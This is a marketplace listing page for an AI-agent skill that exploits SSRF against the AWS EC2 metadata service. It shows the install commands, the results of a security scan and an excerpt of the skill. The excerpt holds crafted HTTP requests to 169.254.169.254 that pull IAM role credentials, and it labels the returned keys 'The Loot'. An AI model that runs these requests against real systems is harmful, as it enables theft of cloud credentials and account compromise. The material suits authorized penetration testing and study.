Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/ShulkwiSEC/bb-hugenpx agentmods add skills/shulkwisec/bb-huge/aws-metadata-ssrf-exploitationWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/aws-metadata-ssrf-exploitation)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/aws-metadata-ssrf-exploitation"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/aws-metadata-ssrf-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/aws-metadata-ssrf-exploitation"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/aws-metadata-ssrf-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00068 | $0.02634 |
| Opus 5 | $0.00034 | $0.01317 |
| Sonnet 5 | $0.00014 | $0.00527 |
| Haiku 4.5 | $0.00007 | $0.00263 |
Grade B, and why
aws-metadata-ssrf-exploitation scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
# (169.254.169.254) exclusively accessible ONLY from INSIDE the EC2 instance itself. Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
tools: [burp-suite, aws-cli, curl, pacu] Copies of this mod
1 near-identical copy found in the catalogue:
- aws-metadata-ssrf-exploitation — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 192 lines — stays where its author put it; the contents beside it link to each section on GitHub.
AWS Metadata SSRF Exploitation (IMDS)
When to Use
- When identifying a robust Server-Side Request Forgery (SSRF) vulnerability on a web application explicitly hosted on Amazon Web Services (AWS) architecture (e.g., an EC2 instance or Elastic Beanstalk).
- To aggressively acquire high-privileged, temporary AWS IAM (Identity and Access Management) credentials to fundamentally escape the constrained Web Application payload boundary and directly compromise the overarching cloud infrastructure.
- To map backend infrastructure topology dynamically utilizing internal VPC IP ranges available natively within the metadata directory.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Identifying the Metadata Endpoint Target
# Concept: AWS EC2 instances natively host an invisible, non-routable link-local IP address
# (169.254.169.254) exclusively accessible ONLY from INSIDE the EC2 instance itself.
# It provides massive amounts of configuration metadata regarding the server instance.
# If an SSRF vulnerability exists, the attacker commands the vulnerable EC2 server to HTTP GET
# its own metadata endpoint and return the secrets identically in the web response.
# Standard Target URIs (IMDSv1):
# http://169.254.169.254/latest/meta-data/
# http://169.254.169.254/latest/meta-data/iam/security-credentials/
Phase 2: Exploiting IMDSv1 (Unprotected Metadata)
# Concept: If the EC2 instance utilizes older infrastructure (IMDSv1), the endpoint natively
# accepts standard HTTP GET requests identically without requiring special authentication headers.
# 1. Execute the SSRF capturing the IAM Role Target Name
# Request:
GET /vulnerable_feature?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: www.target-app.com
# Response (Identifies the Role attached to the EC2):
HTTP/1.1 200 OK
Production_Web_App_Role
# 2. Extract the Temporary Credentials inherently assigned to that Role
# Request:
GET /vulnerable_feature?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/Production_Web_App_Role HTTP/1.1
# Response (The Loot):
HTTP/1.1 200 OK
{
"Code" : "Success",
"LastUpdated" : "2024-03-24T12:00:00Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA...",
"SecretAccessKey" : "ZxyY...",
"Token" : "IQoJb3JpZ2luX2VjEJv...",
"Expiration" : "2024-03-24T18:00:00Z"
}
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 10d ago First seen · 192 lines · 68 tokens per session scan B 8dd8a1b60706
aws-metadata-ssrf-exploitation is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 68 tokens to every session and 2,634 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
aws-metadata-ssrf-exploitation
Exploit Server-Side Request Forgery (SSRF) vulnerabilities on Amazon Web Services (AWS) EC2 instances to access the highly sensitive Instance Metadata Service (IMDS). Circumvent basic protections and extract temporary IAM access keys, escalating privileges comprehensively across the AWS Cloud environment.
aws-metadata-ssrf
Exploit Server-Side Request Forgery (SSRF) vulnerabilities in applications hosted on AWS EC2 instances to extract IAM credentials and User Data from the Instance Metadata Service (IMDS). This skill covers techniques for bypassing basic filters to access IMDSv1 and concepts of IMDSv2.
ssrf-aws-metadata-abuse
Exploit Server-Side Request Forgery (SSRF) vulnerabilities in applications hosted on AWS to access the highly sensitive Instance Metadata Service (IMDS). This allows an attacker to steal valid IAM roles and temporary security credentials, leading to catastrophic cloud account compromise.
performing-aws-privilege-escalation-assessment
Performing authorized privilege escalation assessments in AWS environments to identify IAM misconfigurations that allow users or roles to elevate their permissions using Pacu, CloudFox, Principal Mapper, and manual IAM policy analysis techniques.
performing-cloud-native-threat-hunting-with-aws-detective
Hunt for threats in AWS environments using Detective behavior graphs, entity investigation timelines, GuardDuty finding correlation, and automated entity profiling across IAM users, EC2 instances, and IP addresses.
cloud-iam-deep
GCP/AWS/Azure cloud exploitation -- Cloud Functions, Firestore, Cloud Run, S3, MinIO, Blob Storage, SA keys.